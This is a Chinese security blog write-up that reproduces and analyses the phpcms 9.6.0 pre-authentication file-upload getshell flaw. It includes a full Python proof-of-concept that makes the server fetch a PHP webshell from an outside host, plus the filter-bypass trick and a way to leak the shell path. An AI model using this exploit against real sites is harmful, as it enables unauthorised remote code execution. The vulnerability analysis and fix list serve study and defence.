phpcms9.6.0任意文件上传getshell漏洞重现及分析 | LSABLOG

首页 » NetworkSec » Penetration » 正文

phpcms9.6.0任意文件上传getshell漏洞重现及分析

0x01 概述

2017年4月,爆出phpcms9.6.0的任意文件上传getshell漏洞,攻击者无需登录认证即可在登录页面利用此漏洞,挺厉害。

0x02 bug重现及POC

登录页面:

利用POC:
//poc来源:http://hacktech.cn/2017/04/10/phpcms9-6-0-getshell-with-python.html

# -*- coding:utf-8 -*-

'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''

import requests
import sys
from random import Random

chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

def main():
    if len(sys.argv) < 2:
        print("[*]Usage   : Python 1.py http://xxx.com")
        sys.exit()
    host = sys.argv[1]
    url = host + "/index.php?m=member&c=index&a=register&siteid=1"

    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "dsakkfaffdssdudi",
        "password": "123456",
        "email": "dsakkfddsjdi@qq.com",
        # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0
        "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    try:
        rand_name = chars[Random().randint(0, len(chars) - 1)]
        data["username"] = "akkuman_%s" % rand_name
        data["email"] = "akkuman_%s@qq.com" % rand_name
        
        htmlContent = requests.post(url, data=data)

        successUrl = ""
        if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
            successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
            print("[*]Shell  : %s" % successUrl)
        if successUrl == "":
            print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")

    except:
        print("Request Error")


if __name__ == '__main__':
main()

菜刀连接得到的shell地址,如图:

重现成功!

(注意这里的文件名(shell地址)是可以爆破的,后文说明。)

0x03 修复方案

1.升级到最新版本

2.关闭注册功能

3.禁止uploadfile目录下动态脚本执行

0x04 bug分析

由poc的

index.php?m=member&c=index&a=register&siteid=1

找到这个index.php的register函数

关键代码:

//附表信息验证 通过模型获取会员信息
            if($member_setting['choosemodel']) {
                require_once CACHE_MODEL_PATH.'member_input.class.php';
                require_once CACHE_MODEL_PATH.'member_update.class.php';
                $member_input = new member_input($userinfo['modelid']);     
                $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
                $user_model_info = $member_input->get($_POST['info']);  

Info由用户POST提交,再找到get函数所在的member_input.class.php

关键代码:

function __construct($modelid) {
        $this->db = pc_base::load_model('sitemodel_field_model');
        $this->db_pre = $this->db->db_tablepre;
        $this->modelid = $modelid;
        $this->fields = getcache('model_field_'.$modelid,'model');

        //初始化附件类
        pc_base::load_sys_class('attachment','',0);
        $this->siteid = param::get_cookie('siteid');
        $this->attachment = new attachment('content','0',$this->siteid);

}

function get($data) {
        $this->data = $data = trim_script($data);
        $model_cache = getcache('member_model', 'commons');
        $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

        $info = array();
        $debar_filed = array('catid','title','style','thumb','status','islink','description');
        if(is_array($data)) {
            foreach($data as $field=>$value) {
                if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
                $field = safe_replace($field);
                $name = $this->fields[$field]['name'];
                $minlength = $this->fields[$field]['minlength'];
                $maxlength = $this->fields[$field]['maxlength'];
                $pattern = $this->fields[$field]['pattern'];
                $errortips = $this->fields[$field]['errortips'];
                if(empty($errortips)) $errortips = "$name 不符合要求!";
                $length = empty($value) ? 0 : strlen($value);
                if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
                if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
                if($maxlength && $length > $maxlength && !$isimport) {
                    showmessage("$name 不得超过 $maxlength 个字符!");
                } else {
                    str_cut($value, $maxlength);
                }
                if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
                if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
                $func = $this->fields[$field]['formtype'];
                if(method_exists($this, $func)) $value = $this->$func($field, $value);
    
                $info[$field] = $value;
            }
        }
        return $info;
    }

modelid在index.php中可以找到,POST提交即可:

$userinfo[‘modelid’] = isset($_POST[‘modelid’]) ? intval($_POST[‘modelid’]) : 10;

变量$modelid可控,赋值为1时便从model_field_1.cache.php文件中读取缓存配置

关键在于

$func = $this->fields[$field][‘formtype’];

if(method_exists($this, $func)) $value = $this->$func($field, $value);

根据model_field_1.cache.php的

‘errortips’ => ‘内容不能为空’,

‘formtype’ => ‘editor’,

‘setting’ => ‘array (

可知就是调用editor方法,其中$field和$value均可控,为POST方式info数组的key和value。那就进入input.inc.php看看

    function editor($field, $value) {
        $setting = string2array($this->fields[$field]['setting']);
        $enablesaveimage = $setting['enablesaveimage'];
        $site_setting = string2array($this->site_config['setting']);
        $watermark_enable = intval($site_setting['watermark_enable']);
        $value = $this->attachment->download('content', $value,$watermark_enable);
        return $value;
    }

可以看出这是$field已经写成了content,所以payload要写成info[content],再进入attachment->download看看

文件:attachment.class.php

关键代码:

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    {
        global $image_d;
        $this->att_db = pc_base::load_model('attachment_model');
        $upload_url = pc_base::load_config('system','upload_url');
        $this->field = $field;
        $dir = date('Y/md/');
        $uploadpath = $upload_url.$dir;
        $uploaddir = $this->upload_root.$dir;
        $string = new_stripslashes($value);
        if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
        $remotefileurls = array();
        foreach($matches[3] as $matche)
        {
            if(strpos($matche, '://') === false) continue;
            dir_create($uploaddir);
            $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
        }
        unset($matches, $string);
        $remotefileurls = array_unique($remotefileurls);
        $oldpath = $newpath = array();
        foreach($remotefileurls as $k=>$file) {
            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
            $filename = fileext($file);
            $file_name = basename($file);
            $filename = $this->getname($filename);

            $newfile = $uploaddir.$filename;
            $upload_func = $this->upload_func;
            if($upload_func($file, $newfile)) {
                $oldpath[] = $k;
                $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
                @chmod($newfile, 0777);
                $fileext = fileext($filename);
                if($watermark){
                    watermark($newfile, $newfile,$this->siteid);
                }
                $filepath = $dir.$filename;
                $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
                $aid = $this->add($downloadedfile);
                $this->downloadedfiles[$aid] = $filepath;
            }
        }
        return str_replace($oldpath, $newpath, $value);
    }   

正则要求满足src/href=url.(gif|jpg|jpeg|bmp|png)的形式,所以payload后面加了.jpg来绕过,接着用$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);去除锚点,即#,

就是说url有#就去掉#和#后面的内容,所以payload加上了#。

再来到

$upload_func = $this->upload_func;

if($upload_func($file, $newfile)) {

在构造方法中upload_func就是copy方法

$this->upload_func = ‘copy’;

就这样把用户提交的经过正则处理后的url下载到了本地,导致getshell。

接下来就是分析文件名了,由第二张图可以看出文件名是:年月日时分秒+(100-999三位随机字符),可以爆破。

还有一种更简单的方法,回到最初的那个register函数,

关键代码:

if($status > 0) {
                    $userinfo['phpssouid'] = $status;
                    //传入phpsso为明文密码,加密后存入phpcms_v9
                    $password = $userinfo['password'];
                    $userinfo['password'] = password($userinfo['password'], $userinfo['encrypt']);
                    $userid = $this->db->insert($userinfo, 1);
                    if($member_setting['choosemodel']) {    //如果开启选择模型
                        $user_model_info['userid'] = $userid;
                        //插入会员模型数据
                        $this->db->set_model($userinfo['modelid']);
                        $this->db->insert($user_model_info);
                    }

看以看出在status>0时,userid加到user_model_info数组再插入数据库,就是新增会员,在v9_member_detail表,

表结构如图:

由于没有content字段,但是$user_model_info数组已经包含了payload构造提交的info[content]=的内容,所以报错返回了shell路径。

还没完,还有个要求是status>0才行,那看看怎么样status会不大于0,找到client.class.php文件,搜索return -:

几乎都是username和email的问题,所以用户名和邮箱要符合要求。

据说在 phpsso 没有配置好的时候$status的值为空,也同样不能得到路径。

0x04 结语

参考了网上高手写的分析来写的,有些地方还是不是很理解,比如为什么会允许post个[info][content],而且还是前台注册界面,是为了让用户上传文件?这样也太奇怪了吧,审计路漫漫,长且艰。

0x05 参考资料

1.http://www.freebuf.com/vuls/131809.html

2.http://paper.seebug.org/273/

3.http://seclab.dbappsecurity.com.cn/?p=1661

 

 

Comment